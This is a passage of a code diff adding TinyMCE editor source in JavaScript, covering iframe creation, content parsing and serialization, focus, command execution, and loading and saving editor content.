+				bodyId = bodyId[self.id] || bodyId;
+			}
+
+			bodyClass = settings.body_class || '';
+			if (bodyClass.indexOf('=') != -1) {
+				bodyClass = self.getParam('body_class', '', 'hash');
+				bodyClass = bodyClass[self.id] || '';
+			}
+
+			if (settings.content_security_policy) {
+				self.iframeHTML += '<meta http-equiv="Content-Security-Policy" content="' + settings.content_security_policy + '" />';
+			}
+
+			self.iframeHTML += '</head><body id="' + bodyId +
+				'" class="mce-content-body ' + bodyClass +
+				'" data-id="' + self.id + '"><br></body></html>';
+
+			/*eslint no-script-url:0 */
+			var domainRelaxUrl = 'javascript:(function(){' +
+				'document.open();document.domain="' + document.domain + '";' +
+				'var ed = window.parent.tinymce.get("' + self.id + '");document.write(ed.iframeHTML);' +
+				'document.close();ed.initContentBody(true);})()';
+
+			// Domain relaxing is required since the user has messed around with document.domain
+			if (document.domain != location.hostname) {
+				url = domainRelaxUrl;
+			}
+
+			// Create iframe
+			// TODO: ACC add the appropriate description on this.
+			var ifr = DOM.create('iframe', {
+				id: self.id + "_ifr",
+				//src: url || 'javascript:""', // Workaround for HTTPS warning in IE6/7
+				frameBorder: '0',
+				allowTransparency: "true",
+				title: self.editorManager.translate(
+						"Rich Text Area. Press ALT-F9 for menu. " +
+						"Press ALT-F10 for toolbar. Press ALT-0 for help"
+				),
+				style: {
+					width: '100%',
+					height: h,
+					display: 'block' // Important for Gecko to render the iframe correctly
+				}
+			});
+
+			ifr.onload = function() {
+				ifr.onload = null;
+				self.fire("load");
+			};
+
+			DOM.setAttrib(ifr, "src", url || 'javascript:""');
+
+			self.contentAreaContainer = o.iframeContainer;
+			self.iframeElement = ifr;
+
+			n = DOM.add(o.iframeContainer, ifr);
+
+			// Try accessing the document this will fail on IE when document.domain is set to the same as location.hostname
+			// Then we have to force domain relaxing using the domainRelaxUrl approach very ugly!!
+			if (ie) {
+				try {
+					self.getDoc();
+				} catch (e) {
+					n.src = url = domainRelaxUrl;
+				}
+			}
+
+			if (o.editorContainer) {
+				DOM.get(o.editorContainer).style.display = self.orgDisplay;
+				self.hidden = DOM.isHidden(o.editorContainer);
+			}
+
+			self.getElement().style.display = 'none';
+			DOM.setAttrib(self.id, 'aria-hidden', true);
+
+			if (!url) {
+				self.initContentBody();
+			}
+
+			elm = n = o = null; // Cleanup
+		},
+
+		/**
+		 * This method get called by the init method ones the iframe is loaded.
+		 * It will fill the iframe with contents, setups DOM and selection objects for the iframe.
+		 *
+		 * @method initContentBody
+		 * @private
+		 */
+		initContentBody: function(skipWrite) {
+			var self = this, settings = self.settings, targetElm = self.getElement(), doc = self.getDoc(), body, contentCssText;
+
+			// Restore visibility on target element
+			if (!settings.inline) {
+				self.getElement().style.visibility = self.orgVisibility;
+			}
+
+			// Setup iframe body
+			if (!skipWrite && !settings.content_editable) {
+				doc.open();
+				doc.write(self.iframeHTML);
+				doc.close();
+			}
+
+			if (settings.content_editable) {
+				self.on('remove', function() {
+					var bodyEl = this.getBody();
+
+					DOM.removeClass(bodyEl, 'mce-content-body');
+					DOM.removeClass(bodyEl, 'mce-edit-focus');
+					DOM.setAttrib(bodyEl, 'contentEditable', null);
+				});
+
+				DOM.addClass(targetElm, 'mce-content-body');
+				self.contentDocument = doc = settings.content_document || document;
+				self.contentWindow = settings.content_window || window;
+				self.bodyElement = targetElm;
+
+				// Prevent leak in IE
+				settings.content_document = settings.content_window = null;
+
+				// TODO: Fix this
+				settings.root_name = targetElm.nodeName.toLowerCase();
+			}
+
+			// It will not steal focus while setting contentEditable
+			body = self.getBody();
+			body.disabled = true;
+
+			if (!settings.readonly) {
+				if (self.inline && DOM.getStyle(body, 'position', true) == 'static') {
+					body.style.position = 'relative';
+				}
+
+				body.contentEditable = self.getParam('content_editable_state', true);
+			}
+
+			body.disabled = false;
+
+			/**
+			 * Schema instance, enables you to validate elements and it's children.
+			 *
+			 * @property schema
+			 * @type tinymce.html.Schema
+			 */
+			self.schema = new Schema(settings);
+
+			/**
+			 * DOM instance for the editor.
+			 *
+			 * @property dom
+			 * @type tinymce.dom.DOMUtils
+			 * @example
+			 * // Adds a class to all paragraphs within the editor
+			 * tinymce.activeEditor.dom.addClass(tinymce.activeEditor.dom.select('p'), 'someclass');
+			 */
+			self.dom = new DOMUtils(doc, {
+				keep_values: true,
+				url_converter: self.convertURL,
+				url_converter_scope: self,
+				hex_colors: settings.force_hex_style_colors,
+				class_filter: settings.class_filter,
+				update_styles: true,
+				root_element: self.inline ? self.getBody() : null,
+				collect: settings.content_editable,
+				schema: self.schema,
+				onSetAttrib: function(e) {
+					self.fire('SetAttrib', e);
+				}
+			});
+
+			/**
+			 * HTML parser will be used when contents is inserted into the editor.
+			 *
+			 * @property parser
+			 * @type tinymce.html.DomParser
+			 */
+			self.parser = new DomParser(settings, self.schema);
+
+			// Convert src and href into data-mce-src, data-mce-href and data-mce-style
+			self.parser.addAttributeFilter('src,href,style,tabindex', function(nodes, name) {
+				var i = nodes.length, node, dom = self.dom, value, internalName;
+
+				while (i--) {
+					node = nodes[i];
+					value = node.attr(name);
+					internalName = 'data-mce-' + name;
+
+					// Add internal attribute if we need to we don't on a refresh of the document
+					if (!node.attributes.map[internalName]) {
+						if (name === "style") {
+							value = dom.serializeStyle(dom.parseStyle(value), node.name);
+
+							if (!value.length) {
+								value = null;
+							}
+
+							node.attr(internalName, value);
+							node.attr(name, value);
+						} else if (name === "tabindex") {
+							node.attr(internalName, value);
+							node.attr(name, null);
+						} else {
+							node.attr(internalName, self.convertURL(value, name, node.name));
+						}
+					}
+				}
+			});
+
+			// Keep scripts from executing
+			self.parser.addNodeFilter('script', function(nodes) {
+				var i = nodes.length, node;
+
+				while (i--) {
+					node = nodes[i];
+					node.attr('type', 'mce-' + (node.attr('type') || 'no/type'));
+				}
+			});
+
+			self.parser.addNodeFilter('#cdata', function(nodes) {
+				var i = nodes.length, node;
+
+				while (i--) {
+					node = nodes[i];
+					node.type = 8;
+					node.name = '#comment';
+					node.value = '[CDATA[' + node.value + ']]';
+				}
+			});
+
+			self.parser.addNodeFilter('p,h1,h2,h3,h4,h5,h6,div', function(nodes) {
+				var i = nodes.length, node, nonEmptyElements = self.schema.getNonEmptyElements();
+
+				while (i--) {
+					node = nodes[i];
+
+					if (node.isEmpty(nonEmptyElements)) {
+						node.append(new Node('br', 1)).shortEnded = true;
+					}
+				}
+			});
+
+			/**
+			 * DOM serializer for the editor. Will be used when contents is extracted from the editor.
+			 *
+			 * @property serializer
+			 * @type tinymce.dom.Serializer
+			 * @example
+			 * // Serializes the first paragraph in the editor into a string
+			 * tinymce.activeEditor.serializer.serialize(tinymce.activeEditor.dom.select('p')[0]);
+			 */
+			self.serializer = new DomSerializer(settings, self);
+
+			/**
+			 * Selection instance for the editor.
+			 *
+			 * @property selection
+			 * @type tinymce.dom.Selection
+			 * @example
+			 * // Sets some contents to the current selection in the editor
+			 * tinymce.activeEditor.selection.setContent('Some contents');
+			 *
+			 * // Gets the current selection
+			 * alert(tinymce.activeEditor.selection.getContent());
+			 *
+			 * // Selects the first paragraph found
+			 * tinymce.activeEditor.selection.select(tinymce.activeEditor.dom.select('p')[0]);
+			 */
+			self.selection = new Selection(self.dom, self.getWin(), self.serializer, self);
+
+			/**
+			 * Formatter instance.
+			 *
+			 * @property formatter
+			 * @type tinymce.Formatter
+			 */
+			self.formatter = new Formatter(self);
+
+			/**
+			 * Undo manager instance, responsible for handling undo levels.
+			 *
+			 * @property undoManager
+			 * @type tinymce.UndoManager
+			 * @example
+			 * // Undoes the last modification to the editor
+			 * tinymce.activeEditor.undoManager.undo();
+			 */
+			self.undoManager = new UndoManager(self);
+
+			self.forceBlocks = new ForceBlocks(self);
+			self.enterKey = new EnterKey(self);
+			self.editorCommands = new EditorCommands(self);
+			self._nodeChangeDispatcher = new NodeChange(self);
+
+			self.fire('PreInit');
+
+			if (!settings.browser_spellcheck && !settings.gecko_spellcheck) {
+				doc.body.spellcheck = false; // Gecko
+				DOM.setAttrib(body, "spellcheck", "false");
+			}
+
+			self.fire('PostRender');
+
+			self.quirks = new Quirks(self);
+
+			if (settings.directionality) {
+				body.dir = settings.directionality;
+			}
+
+			if (settings.nowrap) {
+				body.style.whiteSpace = "nowrap";
+			}
+
+			if (settings.protect) {
+				self.on('BeforeSetContent', function(e) {
+					each(settings.protect, function(pattern) {
+						e.content = e.content.replace(pattern, function(str) {
+							return '<!--mce:protected ' + escape(str) + '-->';
+						});
+					});
+				});
+			}
+
+			self.on('SetContent', function() {
+				self.addVisual(self.getBody());
+			});
+
+			// Remove empty contents
+			if (settings.padd_empty_editor) {
+				self.on('PostProcess', function(e) {
+					e.content = e.content.replace(/^(<p[^>]*>(&nbsp;|&#160;|\s|\u00a0|)<\/p>[\r\n]*|<br \/>[\r\n]*)$/, '');
+				});
+			}
+
+			self.load({initial: true, format: 'html'});
+			self.startContent = self.getContent({format: 'raw'});
+
+			/**
+			 * Is set to true after the editor instance has been initialized
+			 *
+			 * @property initialized
+			 * @type Boolean
+			 * @example
+			 * function isEditorInitialized(editor) {
+			 *     return editor && editor.initialized;
+			 * }
+			 */
+			self.initialized = true;
+			self.bindPendingEventDelegates();
+
+			self.fire('init');
+			self.focus(true);
+			self.nodeChanged({initial: true});
+			self.execCallback('init_instance_callback', self);
+
+			// Add editor specific CSS styles
+			if (self.contentStyles.length > 0) {
+				contentCssText = '';
+
+				each(self.contentStyles, function(style) {
+					contentCssText += style + "\r\n";
+				});
+
+				self.dom.addStyle(contentCssText);
+			}
+
+			// Load specified content CSS last
+			each(self.contentCSS, function(cssUrl) {
+				if (!self.loadedCSS[cssUrl]) {
+					self.dom.loadCSS(cssUrl);
+					self.loadedCSS[cssUrl] = true;
+				}
+			});
+
+			// Handle auto focus
+			if (settings.auto_focus) {
+				setTimeout(function() {
+					var editor;
+
+					if (settings.auto_focus === true) {
+						editor = self;
+					} else {
+						editor = self.editorManager.get(settings.auto_focus);
+					}
+
+					editor.focus();
+				}, 100);
+			}
+
+			// Clean up references for IE
+			targetElm = doc = body = null;
+		},
+
+		/**
+		 * Focuses/activates the editor. This will set this editor as the activeEditor in the tinymce collection
+		 * it will also place DOM focus inside the editor.
+		 *
+		 * @method focus
+		 * @param {Boolean} skipFocus Skip DOM focus. Just set is as the active editor.
+		 */
+		focus: function(skipFocus) {
+			var self = this, selection = self.selection, contentEditable = self.settings.content_editable, rng;
+			var controlElm, doc = self.getDoc(), body;
+
+			if (!skipFocus) {
+				// Get selected control element
+				rng = selection.getRng();
+				if (rng.item) {
+					controlElm = rng.item(0);
+				}
+
+				self._refreshContentEditable();
+
+				// Focus the window iframe
+				if (!contentEditable) {
+					// WebKit needs this call to fire focusin event properly see #5948
+					// But Opera pre Blink engine will produce an empty selection so skip Opera
+					if (!Env.opera) {
+						self.getBody().focus();
+					}
+
+					self.getWin().focus();
+				}
+
+				// Focus the body as well since it's contentEditable
+				if (isGecko || contentEditable) {
+					body = self.getBody();
+
+					// Check for setActive since it doesn't scroll to the element
+					if (body.setActive) {
+						// IE 11 sometimes throws "Invalid function" then fallback to focus
+						try {
+							body.setActive();
+						} catch (ex) {
+							body.focus();
+						}
+					} else {
+						body.focus();
+					}
+
+					if (contentEditable) {
+						selection.normalize();
+					}
+				}
+
+				// Restore selected control element
+				// This is needed when for example an image is selected within a
+				// layer a call to focus will then remove the control selection
+				if (controlElm && controlElm.ownerDocument == doc) {
+					rng = doc.body.createControlRange();
+					rng.addElement(controlElm);
+					rng.select();
+				}
+			}
+
+			self.editorManager.setActive(self);
+		},
+
+		/**
+		 * Executes a legacy callback. This method is useful to call old 2.x option callbacks.
+		 * There new event model is a better way to add callback so this method might be removed in the future.
+		 *
+		 * @method execCallback
+		 * @param {String} name Name of the callback to execute.
+		 * @return {Object} Return value passed from callback function.
+		 */
+		execCallback: function(name) {
+			var self = this, callback = self.settings[name], scope;
+
+			if (!callback) {
+				return;
+			}
+
+			// Look through lookup
+			if (self.callbackLookup && (scope = self.callbackLookup[name])) {
+				callback = scope.func;
+				scope = scope.scope;
+			}
+
+			if (typeof(callback) === 'string') {
+				scope = callback.replace(/\.\w+$/, '');
+				scope = scope ? resolve(scope) : 0;
+				callback = resolve(callback);
+				self.callbackLookup = self.callbackLookup || {};
+				self.callbackLookup[name] = {func: callback, scope: scope};
+			}
+
+			return callback.apply(scope || self, Array.prototype.slice.call(arguments, 1));
+		},
+
+		/**
+		 * Translates the specified string by replacing variables with language pack items it will also check if there is
+		 * a key mathcin the input.
+		 *
+		 * @method translate
+		 * @param {String} text String to translate by the language pack data.
+		 * @return {String} Translated string.
+		 */
+		translate: function(text) {
+			var lang = this.settings.language || 'en', i18n = this.editorManager.i18n;
+
+			if (!text) {
+				return '';
+			}
+
+			return i18n.data[lang + '.' + text] || text.replace(/\{\#([^\}]+)\}/g, function(a, b) {
+				return i18n.data[lang + '.' + b] || '{#' + b + '}';
+			});
+		},
+
+		/**
+		 * Returns a language pack item by name/key.
+		 *
+		 * @method getLang
+		 * @param {String} name Name/key to get from the language pack.
+		 * @param {String} defaultVal Optional default value to retrive.
+		 */
+		getLang: function(name, defaultVal) {
+			return (
+				this.editorManager.i18n.data[(this.settings.language || 'en') + '.' + name] ||
+				(defaultVal !== undefined ? defaultVal : '{#' + name + '}')
+			);
+		},
+
+		/**
+		 * Returns a configuration parameter by name.
+		 *
+		 * @method getParam
+		 * @param {String} name Configruation parameter to retrive.
+		 * @param {String} defaultVal Optional default value to return.
+		 * @param {String} type Optional type parameter.
+		 * @return {String} Configuration parameter value or default value.
+		 * @example
+		 * // Returns a specific config value from the currently active editor
+		 * var someval = tinymce.activeEditor.getParam('myvalue');
+		 *
+		 * // Returns a specific config value from a specific editor instance by id
+		 * var someval2 = tinymce.get('my_editor').getParam('myvalue');
+		 */
+		getParam: function(name, defaultVal, type) {
+			var value = name in this.settings ? this.settings[name] : defaultVal, output;
+
+			if (type === 'hash') {
+				output = {};
+
+				if (typeof(value) === 'string') {
+					each(value.indexOf('=') > 0 ? value.split(/[;,](?![^=;,]*(?:[;,]|$))/) : value.split(','), function(value) {
+						value = value.split('=');
+
+						if (value.length > 1) {
+							output[trim(value[0])] = trim(value[1]);
+						} else {
+							output[trim(value[0])] = trim(value);
+						}
+					});
+				} else {
+					output = value;
+				}
+
+				return output;
+			}
+
+			return value;
+		},
+
+		/**
+		 * Distpaches out a onNodeChange event to all observers. This method should be called when you
+		 * need to update the UI states or element path etc.
+		 *
+		 * @method nodeChanged
+		 * @param {Object} args Optional args to pass to NodeChange event handlers.
+		 */
+		nodeChanged: function(args) {
+			this._nodeChangeDispatcher.nodeChanged(args);
+		},
+
+		/**
+		 * Adds a button that later gets created by the theme in the editors toolbars.
+		 *
+		 * @method addButton
+		 * @param {String} name Button name to add.
+		 * @param {Object} settings Settings object with title, cmd etc.
+		 * @example
+		 * // Adds a custom button to the editor that inserts contents when clicked
+		 * tinymce.init({
+		 *    ...
+		 *
+		 *    toolbar: 'example'
+		 *
+		 *    setup: function(ed) {
+		 *       ed.addButton('example', {
+		 *          title: 'My title',
+		 *          image: '../js/tinymce/plugins/example/img/example.gif',
+		 *          onclick: function() {
+		 *             ed.insertContent('Hello world!!');
+		 *          }
+		 *       });
+		 *    }
+		 * });
+		 */
+		addButton: function(name, settings) {
+			var self = this;
+
+			if (settings.cmd) {
+				settings.onclick = function() {
+					self.execCommand(settings.cmd);
+				};
+			}
+
+			if (!settings.text && !settings.icon) {
+				settings.icon = name;
+			}
+
+			self.buttons = self.buttons || {};
+			settings.tooltip = settings.tooltip || settings.title;
+			self.buttons[name] = settings;
+		},
+
+		/**
+		 * Adds a menu item to be used in the menus of the theme. There might be multiple instances
+		 * of this menu item for example it might be used in the main menus of the theme but also in
+		 * the context menu so make sure that it's self contained and supports multiple instances.
+		 *
+		 * @method addMenuItem
+		 * @param {String} name Menu item name to add.
+		 * @param {Object} settings Settings object with title, cmd etc.
+		 * @example
+		 * // Adds a custom menu item to the editor that inserts contents when clicked
+		 * // The context option allows you to add the menu item to an existing default menu
+		 * tinymce.init({
+		 *    ...
+		 *
+		 *    setup: function(ed) {
+		 *       ed.addMenuItem('example', {
+		 *          text: 'My menu item',
+		 *          context: 'tools',
+		 *          onclick: function() {
+		 *             ed.insertContent('Hello world!!');
+		 *          }
+		 *       });
+		 *    }
+		 * });
+		 */
+		addMenuItem: function(name, settings) {
+			var self = this;
+
+			if (settings.cmd) {
+				settings.onclick = function() {
+					self.execCommand(settings.cmd);
+				};
+			}
+
+			self.menuItems = self.menuItems || {};
+			self.menuItems[name] = settings;
+		},
+
+		/**
+		 * Adds a custom command to the editor, you can also override existing commands with this method.
+		 * The command that you add can be executed with execCommand.
+		 *
+		 * @method addCommand
+		 * @param {String} name Command name to add/override.
+		 * @param {addCommandCallback} callback Function to execute when the command occurs.
+		 * @param {Object} scope Optional scope to execute the function in.
+		 * @example
+		 * // Adds a custom command that later can be executed using execCommand
+		 * tinymce.init({
+		 *    ...
+		 *
+		 *    setup: function(ed) {
+		 *       // Register example command
+		 *       ed.addCommand('mycommand', function(ui, v) {
+		 *          ed.windowManager.alert('Hello world!! Selection: ' + ed.selection.getContent({format: 'text'}));
+		 *       });
+		 *    }
+		 * });
+		 */
+		addCommand: function(name, callback, scope) {
+			/**
+			 * Callback function that gets called when a command is executed.
+			 *
+			 * @callback addCommandCallback
+			 * @param {Boolean} ui Display UI state true/false.
+			 * @param {Object} value Optional value for command.
+			 * @return {Boolean} True/false state if the command was handled or not.
+			 */
+			this.execCommands[name] = {func: callback, scope: scope || this};
+		},
+
+		/**
+		 * Adds a custom query state command to the editor, you can also override existing commands with this method.
+		 * The command that you add can be executed with queryCommandState function.
+		 *
+		 * @method addQueryStateHandler
+		 * @param {String} name Command name to add/override.
+		 * @param {addQueryStateHandlerCallback} callback Function to execute when the command state retrival occurs.
+		 * @param {Object} scope Optional scope to execute the function in.
+		 */
+		addQueryStateHandler: function(name, callback, scope) {
+			/**
+			 * Callback function that gets called when a queryCommandState is executed.
+			 *
+			 * @callback addQueryStateHandlerCallback
+			 * @return {Boolean} True/false state if the command is enabled or not like is it bold.
+			 */
+			this.queryStateCommands[name] = {func: callback, scope: scope || this};
+		},
+
+		/**
+		 * Adds a custom query value command to the editor, you can also override existing commands with this method.
+		 * The command that you add can be executed with queryCommandValue function.
+		 *
+		 * @method addQueryValueHandler
+		 * @param {String} name Command name to add/override.
+		 * @param {addQueryValueHandlerCallback} callback Function to execute when the command value retrival occurs.
+		 * @param {Object} scope Optional scope to execute the function in.
+		 */
+		addQueryValueHandler: function(name, callback, scope) {
+			/**
+			 * Callback function that gets called when a queryCommandValue is executed.
+			 *
+			 * @callback addQueryValueHandlerCallback
+			 * @return {Object} Value of the command or undefined.
+			 */
+			this.queryValueCommands[name] = {func: callback, scope: scope || this};
+		},
+
+		/**
+		 * Adds a keyboard shortcut for some command or function.
+		 *
+		 * @method addShortcut
+		 * @param {String} pattern Shortcut pattern. Like for example: ctrl+alt+o.
+		 * @param {String} desc Text description for the command.
+		 * @param {String/Function} cmdFunc Command name string or function to execute when the key is pressed.
+		 * @param {Object} sc Optional scope to execute the function in.
+		 * @return {Boolean} true/false state if the shortcut was added or not.
+		 */
+		addShortcut: function(pattern, desc, cmdFunc, scope) {
+			this.shortcuts.add(pattern, desc, cmdFunc, scope);
+		},
+
+		/**
+		 * Executes a command on the current instance. These commands can be TinyMCE internal commands prefixed with "mce" or
+		 * they can be build in browser commands such as "Bold". A compleate list of browser commands is available on MSDN or Mozilla.org.
+		 * This function will dispatch the execCommand function on each plugin, theme or the execcommand_callback option if none of these
+		 * return true it will handle the command as a internal browser command.
+		 *
+		 * @method execCommand
+		 * @param {String} cmd Command name to execute, for example mceLink or Bold.
+		 * @param {Boolean} ui True/false state if a UI (dialog) should be presented or not.
+		 * @param {mixed} value Optional command value, this can be anything.
+		 * @param {Object} a Optional arguments object.
+		 */
+		execCommand: function(cmd, ui, value, args) {
+			var self = this, state = 0, cmdItem;
+
+			if (!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(cmd) && (!args || !args.skip_focus)) {
+				self.focus();
+			}
+
+			args = extend({}, args);
+			args = self.fire('BeforeExecCommand', {command: cmd, ui: ui, value: value});
+			if (args.isDefaultPrevented()) {
+				return false;
+			}
+
+			// Registred commands
+			if ((cmdItem = self.execCommands[cmd])) {
+				// Fall through on true
+				if (cmdItem.func.call(cmdItem.scope, ui, value) !== true) {
+					self.fire('ExecCommand', {command: cmd, ui: ui, value: value});
+					return true;
+				}
+			}
+
+			// Plugin commands
+			each(self.plugins, function(p) {
+				if (p.execCommand && p.execCommand(cmd, ui, value)) {
+					self.fire('ExecCommand', {command: cmd, ui: ui, value: value});
+					state = true;
+					return false;
+				}
+			});
+
+			if (state) {
+				return state;
+			}
+
+			// Theme commands
+			if (self.theme && self.theme.execCommand && self.theme.execCommand(cmd, ui, value)) {
+				self.fire('ExecCommand', {command: cmd, ui: ui, value: value});
+				return true;
+			}
+
+			// Editor commands
+			if (self.editorCommands.execCommand(cmd, ui, value)) {
+				self.fire('ExecCommand', {command: cmd, ui: ui, value: value});
+				return true;
+			}
+
+			// Browser commands
+			try {
+				state = self.getDoc().execCommand(cmd, ui, value);
+			} catch (ex) {
+				// Ignore old IE errors
+			}
+
+			if (state) {
+				self.fire('ExecCommand', {command: cmd, ui: ui, value: value});
+				return true;
+			}
+
+			return false;
+		},
+
+		/**
+		 * Returns a command specific state, for example if bold is enabled or not.
+		 *
+		 * @method queryCommandState
+		 * @param {string} cmd Command to query state from.
+		 * @return {Boolean} Command specific state, for example if bold is enabled or not.
+		 */
+		queryCommandState: function(cmd) {
+			var self = this, queryItem, returnVal;
+
+			// Is hidden then return undefined
+			if (self._isHidden()) {
+				return;
+			}
+
+			// Registred commands
+			if ((queryItem = self.queryStateCommands[cmd])) {
+				returnVal = queryItem.func.call(queryItem.scope);
+
+				// Fall though on non boolean returns
+				if (returnVal === true || returnVal === false) {
+					return returnVal;
+				}
+			}
+
+			// Editor commands
+			returnVal = self.editorCommands.queryCommandState(cmd);
+			if (returnVal !== -1) {
+				return returnVal;
+			}
+
+			// Browser commands
+			try {
+				return self.getDoc().queryCommandState(cmd);
+			} catch (ex) {
+				// Fails sometimes see bug: 1896577
+			}
+		},
+
+		/**
+		 * Returns a command specific value, for example the current font size.
+		 *
+		 * @method queryCommandValue
+		 * @param {string} cmd Command to query value from.
+		 * @return {Object} Command specific value, for example the current font size.
+		 */
+		queryCommandValue: function(cmd) {
+			var self = this, queryItem, returnVal;
+
+			// Is hidden then return undefined
+			if (self._isHidden()) {
+				return;
+			}
+
+			// Registred commands
+			if ((queryItem = self.queryValueCommands[cmd])) {
+				returnVal = queryItem.func.call(queryItem.scope);
+
+				// Fall though on true
+				if (returnVal !== true) {
+					return returnVal;
+				}
+			}
+
+			// Editor commands
+			returnVal = self.editorCommands.queryCommandValue(cmd);
+			if (returnVal !== undefined) {
+				return returnVal;
+			}
+
+			// Browser commands
+			try {
+				return self.getDoc().queryCommandValue(cmd);
+			} catch (ex) {
+				// Fails sometimes see bug: 1896577
+			}
+		},
+
+		/**
+		 * Shows the editor and hides any textarea/div that the editor is supposed to replace.
+		 *
+		 * @method show
+		 */
+		show: function() {
+			var self = this;
+
+			if (self.hidden) {
+				self.hidden = false;
+
+				if (self.inline) {
+					self.getBody().contentEditable = true;
+				} else {
+					DOM.show(self.getContainer());
+					DOM.hide(self.id);
+				}
+
+				self.load();
+				self.fire('show');
+			}
+		},
+
+		/**
+		 * Hides the editor and shows any textarea/div that the editor is supposed to replace.
+		 *
+		 * @method hide
+		 */
+		hide: function() {
+			var self = this, doc = self.getDoc();
+
+			if (!self.hidden) {
+				// Fixed bug where IE has a blinking cursor left from the editor
+				if (ie && doc && !self.inline) {
+					doc.execCommand('SelectAll');
+				}
+
+				// We must save before we hide so Safari doesn't crash
+				self.save();
+
+				if (self.inline) {
+					self.getBody().contentEditable = false;
+
+					// Make sure the editor gets blurred
+					if (self == self.editorManager.focusedEditor) {
+						self.editorManager.focusedEditor = null;
+					}
+				} else {
+					DOM.hide(self.getContainer());
+					DOM.setStyle(self.id, 'display', self.orgDisplay);
+				}
+
+				self.hidden = true;
+				self.fire('hide');
+			}
+		},
+
+		/**
+		 * Returns true/false if the editor is hidden or not.
+		 *
+		 * @method isHidden
+		 * @return {Boolean} True/false if the editor is hidden or not.
+		 */
+		isHidden: function() {
+			return !!this.hidden;
+		},
+
+		/**
+		 * Sets the progress state, this will display a throbber/progess for the editor.
+		 * This is ideal for asycronous operations like an AJAX save call.
+		 *
+		 * @method setProgressState
+		 * @param {Boolean} state Boolean state if the progress should be shown or hidden.
+		 * @param {Number} time Optional time to wait before the progress gets shown.
+		 * @return {Boolean} Same as the input state.
+		 * @example
+		 * // Show progress for the active editor
+		 * tinymce.activeEditor.setProgressState(true);
+		 *
+		 * // Hide progress for the active editor
+		 * tinymce.activeEditor.setProgressState(false);
+		 *
+		 * // Show progress after 3 seconds
+		 * tinymce.activeEditor.setProgressState(true, 3000);
+		 */
+		setProgressState: function(state, time) {
+			this.fire('ProgressState', {state: state, time: time});
+		},
+
+		/**
+		 * Loads contents from the textarea or div element that got converted into an editor instance.
+		 * This method will move the contents from that textarea or div into the editor by using setContent
+		 * so all events etc that method has will get dispatched as well.
+		 *
+		 * @method load
+		 * @param {Object} args Optional content object, this gets passed around through the whole load process.
+		 * @return {String} HTML string that got set into the editor.
+		 */
+		load: function(args) {
+			var self = this, elm = self.getElement(), html;
+
+			if (elm) {
+				args = args || {};
+				args.load = true;
+
+				html = self.setContent(elm.value !== undefined ? elm.value : elm.innerHTML, args);
+				args.element = elm;
+
+				if (!args.no_events) {
+					self.fire('LoadContent', args);
+				}
+
+				args.element = elm = null;
+
+				return html;
+			}
+		},
+
+		/**
+		 * Saves the contents from a editor out to the textarea or div element that got converted into an editor instance.
+		 * This method will move the HTML contents from the editor into that textarea or div by getContent
+		 * so all events etc that method has will get dispatched as well.
+		 *
+		 * @method save
+		 * @param {Object} args Optional content object, this gets passed around through the whole save process.
+		 * @return {String} HTML string that got set into the textarea/div.
+		 */
+		save: function(args) {
+			var self = this, elm = self.getElement(), html, form;
+
+			if (!elm || !self.initialized) {
+				return;
+			}
+
+			args = args || {};
+			args.save = true;
+
+			args.element = elm;
+			html = args.content = self.getContent(args);
+
+			if (!args.no_events) {
+				self.fire('SaveContent', args);
+			}
+
+			html = args.content;
+
+			if (!/TEXTAREA|INPUT/i.test(elm.nodeName)) {
+				// Update DIV element when not in inline mode
+				if (!self.inline) {
+					elm.innerHTML = html;
+				}
+
+				// Update hidden form element
+				if ((form = DOM.getParent(self.id, 'form'))) {
+					each(form.elements, function(elm) {
+						if (elm.name == self.id) {
+							elm.value = html;
+							return false;
+						}
+					});
+				}
+			} else {
+				elm.value = html;
+			}
+
+			args.element = elm = null;
+
+			if (args.set_dirty !== false) {
+				self.isNotDirty = true;
+			}
+
+			return html;
+		},
+
+		/**
+		 * Sets the specified content to the editor instance, this will cleanup the content before it gets set using
+		 * the different cleanup rules options.
+		 *
+		 * @method setContent
+		 * @param {String} content Content to set to editor, normally HTML contents but can be other formats as well.
+		 * @param {Object} args Optional content object, this gets passed around through the whole set process.
+		 * @return {String} HTML string that got set into the editor.
+		 * @example
+		 * // Sets the HTML contents of the activeEditor editor
+		 * tinymce.activeEditor.setContent('<span>some</span> html');
+		 *
+		 * // Sets the raw contents of the activeEditor editor
+		 * tinymce.activeEditor.setContent('<span>some</span> html', {format: 'raw'});
+		 *
+		 * // Sets the content of a specific editor (my_editor in this example)
+		 * tinymce.get('my_editor').setContent(data);
+		 *
+		 * // Sets the bbcode contents of the activeEditor editor if the bbcode plugin was added
+		 * tinymce.activeEditor.setContent('[b]some[/b] html', {format: 'bbcode'});
+		 */
+		setContent: function(content, args) {
+			var self = this, body = self.getBody(), forcedRootBlockName;
+
+			// Setup args object
+			args = args || {};
+			args.format = args.format || 'html';
+			args.set = true;
+			args.content = content;
+
+			// Do preprocessing
+			if (!args.no_events) {
+				self.fire('BeforeSetContent', args);
+			}
+
+			content = args.content;
+
+			// Padd empty content in Gecko and Safari. Commands will otherwise fail on the content
+			// It will also be impossible to place the caret in the editor unless there is a BR element present
+			if (content.length === 0 || /^\s+$/.test(content)) {
+				forcedRootBlockName = self.settings.forced_root_block;
+
+				// Check if forcedRootBlock is configured and that the block is a valid child of the body
+				if (forcedRootBlockName && self.schema.isValidChild(body.nodeName.toLowerCase(), forcedRootBlockName.toLowerCase())) {
+					// Padd with bogus BR elements on modern browsers and IE 7 and 8 since they don't render empty P tags properly
+					content = ie && ie < 11 ? '' : '<br data-mce-bogus="1">';
+					content = self.dom.createHTML(forcedRootBlockName, self.settings.forced_root_block_attrs, content);
+				} else if (!ie) {
+					// We need to add a BR when forced_root_block is disabled on non IE browsers to place the caret
+					content = '<br data-mce-bogus="1">';
+				}
+
+				self.dom.setHTML(body, content);
+
+				self.fire('SetContent', args);
+			} else {
+				// Parse and serialize the html
+				if (args.format !== 'raw') {
+					content = new Serializer({}, self.schema).serialize(
+						self.parser.parse(content, {isRootContent: true})
+					);
+				}
+
+				// Set the new cleaned contents to the editor
+				args.content = trim(content);
+				self.dom.setHTML(body, args.content);
+
+				// Do post processing
+				if (!args.no_events) {
+					self.fire('SetContent', args);
+				}
+
+				// Don't normalize selection if the focused element isn't the body in
+				// content editable mode since it will steal focus otherwise
+				/*if (!self.settings.content_editable || document.activeElement === self.getBody()) {
+					self.selection.normalize();
+				}*/
+			}
+
+			return args.content;
+		},
+
+		/**
+		 * Gets the content from the editor instance, this will cleanup the content before it gets returned using
+		 * the different cleanup rules options.
+		 *
+		 * @method getContent
